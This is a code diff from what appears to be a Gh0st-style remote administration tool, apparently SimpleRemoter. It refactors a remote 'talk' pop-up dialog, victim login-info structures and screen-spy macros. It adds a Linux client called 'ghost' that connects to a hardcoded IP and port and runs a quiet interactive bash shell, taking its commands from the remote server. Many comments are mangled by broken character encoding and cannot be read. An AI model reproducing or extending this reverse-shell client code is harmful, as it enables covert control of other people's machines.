TerminateProcess(m_hShellProcessHandle, 0); //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Լ<EFBFBD><D4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Cmd<6D><64><EFBFBD><EFBFBD>
|
||||||
TerminateThread(m_hShellThreadHandle, 0); //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Լ<EFBFBD><D4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Cmd<6D>߳<EFBFBD>
|
TerminateThread(m_hShellThreadHandle, 0); //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Լ<EFBFBD><D4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Cmd<6D>߳<EFBFBD>
|
||||||
|
|||||||
@@ -27,6 +27,7 @@ public:
|
|||||||
|
|
||||||
static DWORD WINAPI ReadPipeThread(LPVOID lParam);
|
static DWORD WINAPI ReadPipeThread(LPVOID lParam);
|
||||||
|
|
||||||
|
BOOL m_bStarting;
|
||||||
HANDLE m_hThreadRead;
|
HANDLE m_hThreadRead;
|
||||||
int m_nCmdLength; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EEB3A4>
|
int m_nCmdLength; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EEB3A4>
|
||||||
HANDLE m_hShellProcessHandle; //<2F><><EFBFBD><EFBFBD>Cmd<6D><64><EFBFBD>̵Ľ<CCB5><C4BD>̾<EFBFBD><CCBE><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>߳̾<DFB3><CCBE><EFBFBD>
|
HANDLE m_hShellProcessHandle; //<2F><><EFBFBD><EFBFBD>Cmd<6D><64><EFBFBD>̵Ľ<CCB5><C4BD>̾<EFBFBD><CCBE><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>߳̾<DFB3><CCBE><EFBFBD>
|
||||||
|
|||||||
@@ -6,7 +6,6 @@
|
|||||||
#include "SystemManager.h"
|
#include "SystemManager.h"
|
||||||
#include "Common.h"
|
#include "Common.h"
|
||||||
#include <IOSTREAM>
|
#include <IOSTREAM>
|
||||||
using namespace std;
|
|
||||||
#include <TLHELP32.H>
|
#include <TLHELP32.H>
|
||||||
|
|
||||||
#ifndef PSAPI_VERSION
|
#ifndef PSAPI_VERSION
|
||||||
|
|||||||
@@ -10,7 +10,7 @@
|
|||||||
#include <mmsystem.h>
|
#include <mmsystem.h>
|
||||||
|
|
||||||
#pragma comment(lib, "WINMM.LIB")
|
#pragma comment(lib, "WINMM.LIB")
|
||||||
using namespace std;
|
|
||||||
#define ID_TIMER_POP_WINDOW 1
|
#define ID_TIMER_POP_WINDOW 1
|
||||||
#define ID_TIMER_DELAY_DISPLAY 2
|
#define ID_TIMER_DELAY_DISPLAY 2
|
||||||
#define ID_TIMER_CLOSE_WINDOW 3
|
#define ID_TIMER_CLOSE_WINDOW 3
|
||||||
@@ -20,18 +20,14 @@ using namespace std;
|
|||||||
//////////////////////////////////////////////////////////////////////
|
//////////////////////////////////////////////////////////////////////
|
||||||
// Construction/Destruction
|
// Construction/Destruction
|
||||||
//////////////////////////////////////////////////////////////////////
|
//////////////////////////////////////////////////////////////////////
|
||||||
char g_Buffer[TALK_DLG_MAXLEN] = {0};
|
|
||||||
UINT_PTR g_Event = 0;
|
|
||||||
|
|
||||||
IOCPClient* g_IOCPClientObject = NULL;
|
|
||||||
|
|
||||||
extern HINSTANCE g_hInstance;
|
|
||||||
|
|
||||||
CTalkManager::CTalkManager(IOCPClient* ClientObject, int n, void* user):CManager(ClientObject)
|
CTalkManager::CTalkManager(IOCPClient* ClientObject, int n, void* user):CManager(ClientObject)
|
||||||
{
|
{
|
||||||
BYTE bToken = TOKEN_TALK_START; //<2F><><EFBFBD><EFBFBD>ͷ<EFBFBD>ļ<EFBFBD> Common.h
|
m_hInstance = HINSTANCE(user);
|
||||||
|
g_Event = 0;
|
||||||
|
memset(g_Buffer, 0, sizeof(g_Buffer));
|
||||||
|
BYTE bToken = TOKEN_TALK_START;
|
||||||
m_ClientObject->OnServerSending((char*)&bToken, 1);
|
m_ClientObject->OnServerSending((char*)&bToken, 1);
|
||||||
g_IOCPClientObject = ClientObject;
|
|
||||||
WaitForDialogOpen();
|
WaitForDialogOpen();
|
||||||
Mprintf("Talk <20><><EFBFBD><EFBFBD>\n");
|
Mprintf("Talk <20><><EFBFBD><EFBFBD>\n");
|
||||||
}
|
}
|
||||||
@@ -55,8 +51,8 @@ VOID CTalkManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
|||||||
{
|
{
|
||||||
memcpy(g_Buffer, szBuffer, min(ulLength, sizeof(g_Buffer)));
|
memcpy(g_Buffer, szBuffer, min(ulLength, sizeof(g_Buffer)));
|
||||||
//<2F><><EFBFBD><EFBFBD>һ<EFBFBD><D2BB>DLG
|
//<2F><><EFBFBD><EFBFBD>һ<EFBFBD><D2BB>DLG
|
||||||
DialogBox(g_hInstance,MAKEINTRESOURCE(IDD_DIALOG),
|
DialogBoxParamA(m_hInstance,MAKEINTRESOURCE(IDD_DIALOG),
|
||||||
NULL,DialogProc); //SDK C MFC C++
|
NULL, DialogProc, (LPARAM)this); //SDK C MFC C++
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -65,11 +61,12 @@ VOID CTalkManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
|||||||
INT_PTR CALLBACK CTalkManager::DialogProc(HWND hDlg, UINT uMsg,
|
INT_PTR CALLBACK CTalkManager::DialogProc(HWND hDlg, UINT uMsg,
|
||||||
WPARAM wParam, LPARAM lParam)
|
WPARAM wParam, LPARAM lParam)
|
||||||
{
|
{
|
||||||
|
static CTalkManager* This = nullptr;
|
||||||
switch(uMsg)
|
switch(uMsg)
|
||||||
{
|
{
|
||||||
case WM_TIMER:
|
case WM_TIMER:
|
||||||
{
|
{
|
||||||
OnDlgTimer(hDlg);
|
if (This) This->OnDlgTimer(hDlg);
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
case WM_INITDIALOG:
|
case WM_INITDIALOG:
|
||||||
@@ -80,19 +77,19 @@ INT_PTR CALLBACK CTalkManager::DialogProc(HWND hDlg, UINT uMsg,
|
|||||||
exStyle &= ~WS_EX_APPWINDOW;
|
exStyle &= ~WS_EX_APPWINDOW;
|
||||||
exStyle |= WS_EX_TOOLWINDOW;
|
exStyle |= WS_EX_TOOLWINDOW;
|
||||||
SetWindowLongPtr(hDlg, GWL_EXSTYLE, exStyle);
|
SetWindowLongPtr(hDlg, GWL_EXSTYLE, exStyle);
|
||||||
|
This = (CTalkManager*)lParam;
|
||||||
OnInitDialog(hDlg);
|
if(This) This->OnInitDialog(hDlg);
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
case WM_COMMAND:
|
case WM_COMMAND:
|
||||||
if (LOWORD(wParam) == IDOK || LOWORD(wParam) == IDCANCEL)
|
if (LOWORD(wParam) == IDOK || LOWORD(wParam) == IDCANCEL)
|
||||||
{
|
{
|
||||||
KillTimer(hDlg, ID_TIMER_CLOSE_WINDOW);
|
KillTimer(hDlg, ID_TIMER_CLOSE_WINDOW);
|
||||||
BYTE bToken = TOKEN_TALKCMPLT;
|
BYTE bToken = TOKEN_TALKCMPLT;
|
||||||
g_IOCPClientObject->OnServerSending((char*)&bToken, 1);
|
if (This) This->m_ClientObject->OnServerSending((char*)&bToken, 1);
|
||||||
EndDialog(hDlg, LOWORD(wParam));
|
EndDialog(hDlg, LOWORD(wParam));
|
||||||
return (INT_PTR)TRUE;
|
return (INT_PTR)TRUE;
|
||||||
}
|
}
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -114,10 +111,10 @@ VOID CTalkManager::OnInitDialog(HWND hDlg)
|
|||||||
memset(g_Buffer,0,sizeof(g_Buffer));
|
memset(g_Buffer,0,sizeof(g_Buffer));
|
||||||
|
|
||||||
g_Event = ID_TIMER_POP_WINDOW;
|
g_Event = ID_TIMER_POP_WINDOW;
|
||||||
SetTimer(hDlg, g_Event, 1, NULL); //ʱ<>ӻص<D3BB>
|
SetTimer(hDlg, g_Event, 1, NULL);
|
||||||
|
|
||||||
PlaySound(MAKEINTRESOURCE(IDR_WAVE),
|
PlaySound(MAKEINTRESOURCE(IDR_WAVE),
|
||||||
g_hInstance,SND_ASYNC|SND_RESOURCE|SND_NODEFAULT);
|
m_hInstance,SND_ASYNC|SND_RESOURCE|SND_NODEFAULT);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
@@ -143,7 +140,7 @@ VOID CTalkManager::OnDlgTimer(HWND hDlg) //ʱ
|
|||||||
{
|
{
|
||||||
KillTimer(hDlg,ID_TIMER_CLOSE_WINDOW);
|
KillTimer(hDlg,ID_TIMER_CLOSE_WINDOW);
|
||||||
BYTE bToken = TOKEN_TALKCMPLT; // <20><><EFBFBD><EFBFBD>ͷ<EFBFBD>ļ<EFBFBD> Common.h
|
BYTE bToken = TOKEN_TALKCMPLT; // <20><><EFBFBD><EFBFBD>ͷ<EFBFBD>ļ<EFBFBD> Common.h
|
||||||
g_IOCPClientObject->OnServerSending((char*)&bToken, 1); // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>·<EFBFBD><C2B7>͵<EFBFBD>ָ<EFBFBD><D6B8>
|
m_ClientObject->OnServerSending((char*)&bToken, 1); // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>·<EFBFBD><C2B7>͵<EFBFBD>ָ<EFBFBD><D6B8>
|
||||||
EndDialog(hDlg,0);
|
EndDialog(hDlg,0);
|
||||||
}
|
}
|
||||||
break;
|
break;
|
||||||
|
|||||||
@@ -14,6 +14,7 @@
|
|||||||
class CTalkManager : public CManager
|
class CTalkManager : public CManager
|
||||||
{
|
{
|
||||||
public:
|
public:
|
||||||
|
HINSTANCE m_hInstance;
|
||||||
CTalkManager(IOCPClient* ClientObject, int n, void* user = nullptr);
|
CTalkManager(IOCPClient* ClientObject, int n, void* user = nullptr);
|
||||||
virtual ~CTalkManager();
|
virtual ~CTalkManager();
|
||||||
VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
|
VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
|
||||||
@@ -21,8 +22,11 @@ public:
|
|||||||
static INT_PTR CALLBACK DialogProc(HWND hDlg, UINT uMsg,
|
static INT_PTR CALLBACK DialogProc(HWND hDlg, UINT uMsg,
|
||||||
WPARAM wParam, LPARAM lParam);
|
WPARAM wParam, LPARAM lParam);
|
||||||
|
|
||||||
static VOID OnInitDialog(HWND hDlg);
|
VOID OnInitDialog(HWND hDlg);
|
||||||
static VOID OnDlgTimer(HWND hDlg);
|
VOID OnDlgTimer(HWND hDlg);
|
||||||
|
|
||||||
|
char g_Buffer[TALK_DLG_MAXLEN];
|
||||||
|
UINT_PTR g_Event;
|
||||||
};
|
};
|
||||||
|
|
||||||
#endif // !defined(AFX_TALKMANAGER_H__BF276DAF_7D22_4C3C_BE95_709E29D5614D__INCLUDED_)
|
#endif // !defined(AFX_TALKMANAGER_H__BF276DAF_7D22_4C3C_BE95_709E29D5614D__INCLUDED_)
|
||||||
|
|||||||
@@ -222,8 +222,6 @@
|
|||||||
<ClInclude Include="VideoCodec.h" />
|
<ClInclude Include="VideoCodec.h" />
|
||||||
<ClInclude Include="VideoManager.h" />
|
<ClInclude Include="VideoManager.h" />
|
||||||
<ClInclude Include="X264Encoder.h" />
|
<ClInclude Include="X264Encoder.h" />
|
||||||
<ClInclude Include="zconf.h" />
|
|
||||||
<ClInclude Include="zlib.h" />
|
|
||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
<ItemGroup>
|
<ItemGroup>
|
||||||
<ResourceCompile Include="Script.rc" />
|
<ResourceCompile Include="Script.rc" />
|
||||||
|
|||||||
@@ -1,5 +1,63 @@
|
|||||||
#pragma once
|
#pragma once
|
||||||
|
|
||||||
|
#include <vector>
|
||||||
|
#include <string>
|
||||||
|
#include <iosfwd>
|
||||||
|
#include <iostream>
|
||||||
|
#include <sstream>
|
||||||
|
#include <string.h>
|
||||||
|
#include <map>
|
||||||
|
#include <numeric>
|
||||||
|
#include <ctime>
|
||||||
|
#include <chrono>
|
||||||
|
|
||||||
|
#ifdef _WIN32
|
||||||
|
#include <concrt.h>
|
||||||
|
#include <corecrt_io.h>
|
||||||
|
#define MVirtualFree(a1, a2, a3) VirtualFree(a1, a2, a3)
|
||||||
|
#define MVirtualAlloc(a1, a2, a3, a4) VirtualAlloc(a1, a2, a3, a4)
|
||||||
|
#else // ʹ<>ø<EFBFBD>ͷ<EFBFBD>ļ<EFBFBD><C4BC><EFBFBD> LINUX <20><><EFBFBD><EFBFBD>ʹ<EFBFBD><CAB9>
|
||||||
|
#include <thread>
|
||||||
|
#define strcat_s strcat
|
||||||
|
#define sprintf_s sprintf
|
||||||
|
#define strcpy_s strcpy
|
||||||
|
#define __stdcall
|
||||||
|
#define WINAPI
|
||||||
|
#define TRUE 1
|
||||||
|
#define FALSE 0
|
||||||
|
#define skCrypt(p)
|
||||||
|
#define Mprintf printf
|
||||||
|
#define ASSERT(p)
|
||||||
|
#define AUTO_TICK_C(p)
|
||||||
|
#define AUTO_TICK(p)
|
||||||
|
#define OutputDebugStringA(p) printf(p)
|
||||||
|
|
||||||
|
#include <unistd.h>
|
||||||
|
#define Sleep(n) ((n) >= 1000 ? sleep((n) / 1000) : usleep((n) * 1000))
|
||||||
|
|
||||||
|
typedef int64_t __int64;
|
||||||
|
typedef uint32_t DWORD;
|
||||||
|
typedef int BOOL, SOCKET;
|
||||||
|
typedef unsigned int ULONG;
|
||||||
|
typedef unsigned int UINT;
|
||||||
|
typedef void VOID;
|
||||||
|
typedef unsigned char BYTE;
|
||||||
|
typedef BYTE* PBYTE, * LPBYTE;
|
||||||
|
typedef void* LPVOID, * HANDLE;
|
||||||
|
|
||||||
|
#define GET_PROCESS(a1, a2)
|
||||||
|
#define MVirtualFree(a1, a2, a3) delete[]a1
|
||||||
|
#define MVirtualAlloc(a1, a2, a3, a4) new BYTE[a2]
|
||||||
|
#define CopyMemory memcpy
|
||||||
|
#define MoveMemory memmove
|
||||||
|
|
||||||
|
#define INVALID_SOCKET -1
|
||||||
|
#define SOCKET_ERROR -1
|
||||||
|
#define closesocket close
|
||||||
|
#define CloseHandle(p)
|
||||||
|
#define CancelIo(p) close(reinterpret_cast<intptr_t>(p))
|
||||||
|
#endif
|
||||||
|
|
||||||
#include <string>
|
#include <string>
|
||||||
#include <vector>
|
#include <vector>
|
||||||
#include <time.h>
|
#include <time.h>
|
||||||
@@ -193,18 +251,23 @@ typedef struct LOGIN_INFOR
|
|||||||
{
|
{
|
||||||
unsigned char bToken; // 1.<2E><>½<EFBFBD><C2BD>Ϣ
|
unsigned char bToken; // 1.<2E><>½<EFBFBD><C2BD>Ϣ
|
||||||
char OsVerInfoEx[156]; // 2.<2E>汾<EFBFBD><E6B1BE>Ϣ
|
char OsVerInfoEx[156]; // 2.<2E>汾<EFBFBD><E6B1BE>Ϣ
|
||||||
unsigned long dwCPUMHz; // 3.CPU<50><55>Ƶ
|
unsigned int dwCPUMHz; // 3.CPU<50><55>Ƶ
|
||||||
char moduleVersion[24]; // 4.DLLģ<4C><C4A3><EFBFBD>汾
|
char moduleVersion[24]; // 4.DLLģ<4C><C4A3><EFBFBD>汾
|
||||||
char szPCName[_MAX_PATH]; // 5.<2E><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
char szPCName[_MAX_PATH]; // 5.<2E><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
int bWebCamIsExist; // 6.<2E>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ
|
int bWebCamIsExist; // 6.<2E>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ
|
||||||
unsigned long dwSpeed; // 7.<2E><><EFBFBD><EFBFBD>
|
unsigned int dwSpeed; // 7.<2E><><EFBFBD><EFBFBD>
|
||||||
char szStartTime[20]; // 8.<2E><><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1>
|
char szStartTime[20]; // 8.<2E><><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1>
|
||||||
char szReserved[512]; // 9.<2E><><EFBFBD><EFBFBD><EFBFBD>ֶ<EFBFBD>
|
char szReserved[512]; // 9.<2E><><EFBFBD><EFBFBD><EFBFBD>ֶ<EFBFBD>
|
||||||
|
|
||||||
LOGIN_INFOR(){
|
LOGIN_INFOR(){
|
||||||
memset(this, 0, sizeof(LOGIN_INFOR));
|
memset(this, 0, sizeof(LOGIN_INFOR));
|
||||||
|
bToken = TOKEN_LOGIN;
|
||||||
strcpy_s(moduleVersion, DLL_VERSION);
|
strcpy_s(moduleVersion, DLL_VERSION);
|
||||||
}
|
}
|
||||||
|
LOGIN_INFOR& Speed(unsigned long speed) {
|
||||||
|
dwSpeed = speed;
|
||||||
|
return *this;
|
||||||
|
}
|
||||||
}LOGIN_INFOR;
|
}LOGIN_INFOR;
|
||||||
|
|
||||||
inline void xor_encrypt_decrypt(unsigned char *data, int len, const std::vector<char>& keys) {
|
inline void xor_encrypt_decrypt(unsigned char *data, int len, const std::vector<char>& keys) {
|
||||||
@@ -215,12 +278,54 @@ inline void xor_encrypt_decrypt(unsigned char *data, int len, const std::vector<
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
inline std::tm ToPekingTime(const time_t* t) {
|
||||||
|
// <20><>ȡ<EFBFBD><C8A1>ǰʱ<C7B0>䣨<EFBFBD><E4A3A8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ָ<EFBFBD><D6B8>Ϊ<EFBFBD>գ<EFBFBD>
|
||||||
|
std::time_t now = (t == nullptr) ? std::time(nullptr) : *t;
|
||||||
|
|
||||||
|
// <20>̰߳<DFB3>ȫ<EFBFBD><C8AB>ת<EFBFBD><D7AA>Ϊ UTC ʱ<><CAB1>
|
||||||
|
std::tm utc_time{};
|
||||||
|
|
||||||
|
#ifdef _WIN32 // Windows ʹ<><CAB9> gmtime_s
|
||||||
|
if (gmtime_s(&utc_time, &now) != 0) {
|
||||||
|
return { 0, 0, 0, 1, 0, 100 }; // ʧ<><CAA7>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD> 2000-01-01 00:00:00
|
||||||
|
}
|
||||||
|
#else // Linux / macOS ʹ<><CAB9> gmtime_r
|
||||||
|
if (gmtime_r(&now, &utc_time) == nullptr) {
|
||||||
|
return { 0, 0, 0, 1, 0, 100 };
|
||||||
|
}
|
||||||
|
#endif
|
||||||
|
|
||||||
|
// ת<><D7AA>Ϊ<EFBFBD><CEAA><EFBFBD><EFBFBD>ʱ<EFBFBD>䣨UTC+8<><38>
|
||||||
|
utc_time.tm_hour += 8;
|
||||||
|
|
||||||
|
// <20>淶<EFBFBD><E6B7B6>ʱ<EFBFBD>䣨<EFBFBD><E4A3A8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>죩
|
||||||
|
std::mktime(&utc_time);
|
||||||
|
|
||||||
|
return utc_time;
|
||||||
|
}
|
||||||
|
|
||||||
|
inline std::string ToPekingTimeAsString(const time_t* t) {
|
||||||
|
auto pekingTime = ToPekingTime(t);
|
||||||
|
char buffer[20];
|
||||||
|
std::strftime(buffer, sizeof(buffer), "%Y-%m-%d %H:%M:%S", &pekingTime);
|
||||||
|
return buffer;
|
||||||
|
}
|
||||||
|
|
||||||
#ifdef _DEBUG
|
#ifdef _DEBUG
|
||||||
// Ϊ<>˽<EFBFBD><CBBD><EFBFBD>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ĺ꣬<C4BA><EAA3AC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʱʹ<CAB1>ã<EFBFBD><C3A3><EFBFBD>ʽ<EFBFBD>汾û<E6B1BE><C3BB>
|
// Ϊ<>˽<EFBFBD><CBBD><EFBFBD>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ĺ꣬<C4BA><EAA3AC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʱʹ<CAB1>ã<EFBFBD><C3A3><EFBFBD>ʽ<EFBFBD>汾û<E6B1BE><C3BB>
|
||||||
#define SCREENYSPY_IMPROVE 0
|
#define SCREENYSPY_IMPROVE 0
|
||||||
#define SCREENSPY_WRITE 0
|
#define SCREENSPY_WRITE 0
|
||||||
#endif
|
#endif
|
||||||
|
|
||||||
|
#ifdef _WIN32
|
||||||
|
|
||||||
|
#ifdef _WINDOWS
|
||||||
|
#include <afxwin.h>
|
||||||
|
#else
|
||||||
|
#define WIN32_LEAN_AND_MEAN
|
||||||
|
#include <windows.h>
|
||||||
|
#endif
|
||||||
|
|
||||||
// <20><><EFBFBD>ڴ<EFBFBD><DAB4>е<EFBFBD>λͼд<CDBC><D0B4><EFBFBD>ļ<EFBFBD>
|
// <20><><EFBFBD>ڴ<EFBFBD><DAB4>е<EFBFBD>λͼд<CDBC><D0B4><EFBFBD>ļ<EFBFBD>
|
||||||
inline bool WriteBitmap(LPBITMAPINFO bmpInfo, const void* bmpData, const std::string& filePrefix, int index = -1) {
|
inline bool WriteBitmap(LPBITMAPINFO bmpInfo, const void* bmpData, const std::string& filePrefix, int index = -1) {
|
||||||
char path[_MAX_PATH];
|
char path[_MAX_PATH];
|
||||||
@@ -246,13 +351,6 @@ inline bool WriteBitmap(LPBITMAPINFO bmpInfo, const void* bmpData, const std::st
|
|||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
|
|
||||||
#ifdef _WIN32
|
|
||||||
#ifdef _WINDOWS
|
|
||||||
#include <afxwin.h>
|
|
||||||
#else
|
|
||||||
#define WIN32_LEAN_AND_MEAN
|
|
||||||
#include <windows.h>
|
|
||||||
#endif
|
|
||||||
class MSG32 { // <20>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ(32λ)
|
class MSG32 { // <20>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ(32λ)
|
||||||
public:
|
public:
|
||||||
uint32_t hwnd;
|
uint32_t hwnd;
|
||||||
|
|||||||
34
linux/CMakeLists.txt
Normal file
34
linux/CMakeLists.txt
Normal file
@@ -0,0 +1,34 @@
|
|||||||
|
# 编译方法:cmake . && make
|
||||||
|
# 设置 CMake 最低版本要求
|
||||||
|
set(CMAKE_VERBOSE_MAKEFILE ON)
|
||||||
|
set(CMAKE_CXX_STANDARD 11)
|
||||||
|
set(CMAKE_CXX_STANDARD_REQUIRED 11)
|
||||||
|
|
||||||
|
cmake_minimum_required(VERSION 3.22)
|
||||||
|
|
||||||
|
# 定义项目名称和版本
|
||||||
|
project(SimpleRemoter VERSION 1.0)
|
||||||
|
|
||||||
|
include_directories(${CMAKE_SOURCE_DIR}/mterm)
|
||||||
|
|
||||||
|
# 额外的包含目录
|
||||||
|
include_directories(../)
|
||||||
|
include_directories(../client)
|
||||||
|
include_directories(../compress)
|
||||||
|
|
||||||
|
# 添加可执行文件
|
||||||
|
set(SOURCES
|
||||||
|
main.cpp
|
||||||
|
../client/Buffer.cpp
|
||||||
|
../client/IOCPClient.cpp
|
||||||
|
)
|
||||||
|
add_executable(ghost ${SOURCES})
|
||||||
|
|
||||||
|
|
||||||
|
# 设置为可以调试
|
||||||
|
set(CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} -g")
|
||||||
|
set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} -g")
|
||||||
|
|
||||||
|
# 链接 ZSTD 库
|
||||||
|
message(STATUS "链接库文件: ${CMAKE_SOURCE_DIR}/lib/libzstd.a")
|
||||||
|
target_link_libraries(ghost PRIVATE "${CMAKE_SOURCE_DIR}/lib/libzstd.a")
|
||||||
BIN
linux/lib/libzstd.a
Normal file
BIN
linux/lib/libzstd.a
Normal file
Binary file not shown.
243
linux/main.cpp
Normal file
243
linux/main.cpp
Normal file
@@ -0,0 +1,243 @@
|
|||||||
|
#include "common/commands.h"
|
||||||
|
#include "client/IOCPClient.h"
|
||||||
|
#include <unistd.h>
|
||||||
|
#include <sys/utsname.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include <termios.h>
|
||||||
|
#include <thread>
|
||||||
|
#include <fcntl.h>
|
||||||
|
#include <atomic>
|
||||||
|
#include <pty.h>
|
||||||
|
#include <iostream>
|
||||||
|
#include <mutex>
|
||||||
|
#include <stdexcept>
|
||||||
|
#include <cstdio>
|
||||||
|
#include <memory>
|
||||||
|
#include <array>
|
||||||
|
#include <regex>
|
||||||
|
#include <fstream>
|
||||||
|
|
||||||
|
int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength);
|
||||||
|
|
||||||
|
// 远程地址:当前为写死状态,如需调试,请按实际情况修改
|
||||||
|
CONNECT_ADDRESS g_SETTINGS = {FLAG_GHOST, "192.168.0.92", 6543, CLIENT_TYPE_DLL};
|
||||||
|
|
||||||
|
// 全局状态
|
||||||
|
BOOL g_bExit = FALSE;
|
||||||
|
|
||||||
|
// 伪终端处理类:继承自IOCPManager.
|
||||||
|
class PTYHandler : public IOCPManager {
|
||||||
|
public:
|
||||||
|
PTYHandler(IOCPClient *client) : m_client(client), m_running(false) {
|
||||||
|
if (!client) {
|
||||||
|
throw std::invalid_argument("IOCPClient pointer cannot be null");
|
||||||
|
}
|
||||||
|
|
||||||
|
// 创建伪终端
|
||||||
|
if (openpty(&m_master_fd, &m_slave_fd, nullptr, nullptr, nullptr) == -1) {
|
||||||
|
throw std::runtime_error("Failed to create pseudo terminal");
|
||||||
|
}
|
||||||
|
|
||||||
|
// 设置伪终端为非阻塞模式
|
||||||
|
int flags = fcntl(m_master_fd, F_GETFL, 0);
|
||||||
|
fcntl(m_master_fd, F_SETFL, flags | O_NONBLOCK);
|
||||||
|
|
||||||
|
// 启动 Shell 进程
|
||||||
|
startShell();
|
||||||
|
}
|
||||||
|
|
||||||
|
~PTYHandler() {
|
||||||
|
m_running = false;
|
||||||
|
if (m_readThread.joinable()) m_readThread.join();
|
||||||
|
close(m_master_fd);
|
||||||
|
close(m_slave_fd);
|
||||||
|
}
|
||||||
|
|
||||||
|
// 启动读取线程
|
||||||
|
void Start(){
|
||||||
|
if (m_running) return;
|
||||||
|
m_running = true;
|
||||||
|
m_readThread = std::thread(&PTYHandler::readFromPTY, this);
|
||||||
|
}
|
||||||
|
|
||||||
|
virtual VOID OnReceive(PBYTE data, ULONG size) {
|
||||||
|
if (size && data[0] == COMMAND_NEXT){
|
||||||
|
Start();
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
std::string s((char*)data, size); Mprintf(s.c_str());
|
||||||
|
std::lock_guard<std::mutex> lock(m_mutex);
|
||||||
|
if (size > 0) {
|
||||||
|
write(m_master_fd, (char*)data, size);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
private:
|
||||||
|
int m_master_fd, m_slave_fd;
|
||||||
|
IOCPClient *m_client;
|
||||||
|
std::thread m_readThread;
|
||||||
|
std::atomic<bool> m_running;
|
||||||
|
std::mutex m_mutex;
|
||||||
|
pid_t m_child_pid;
|
||||||
|
|
||||||
|
void startShell() {
|
||||||
|
m_child_pid = fork();
|
||||||
|
if (m_child_pid == 0) { // 子进程
|
||||||
|
setsid(); // 创建新的会话
|
||||||
|
dup2(m_slave_fd, STDIN_FILENO);
|
||||||
|
dup2(m_slave_fd, STDOUT_FILENO);
|
||||||
|
dup2(m_slave_fd, STDERR_FILENO);
|
||||||
|
close(m_master_fd);
|
||||||
|
close(m_slave_fd);
|
||||||
|
|
||||||
|
// 关闭回显、禁用 ANSI 颜色、关闭 PS1
|
||||||
|
const char* shell_cmd =
|
||||||
|
"stty -echo -icanon; " // 禁用回显和规范模式
|
||||||
|
"export TERM=dumb; " // 设置终端类型为 dumb
|
||||||
|
"export LS_COLORS=''; " // 禁用颜色
|
||||||
|
"export PS1='>'; " // 设置提示符
|
||||||
|
//"clear; " // 清空终端
|
||||||
|
"exec /bin/bash --norc --noprofile -i"; // 启动 Bash
|
||||||
|
execl("/bin/bash", "/bin/bash", "-c", shell_cmd, nullptr);
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
void readFromPTY() {
|
||||||
|
char buffer[4096];
|
||||||
|
while (m_running) {
|
||||||
|
ssize_t bytes_read = 0;
|
||||||
|
{
|
||||||
|
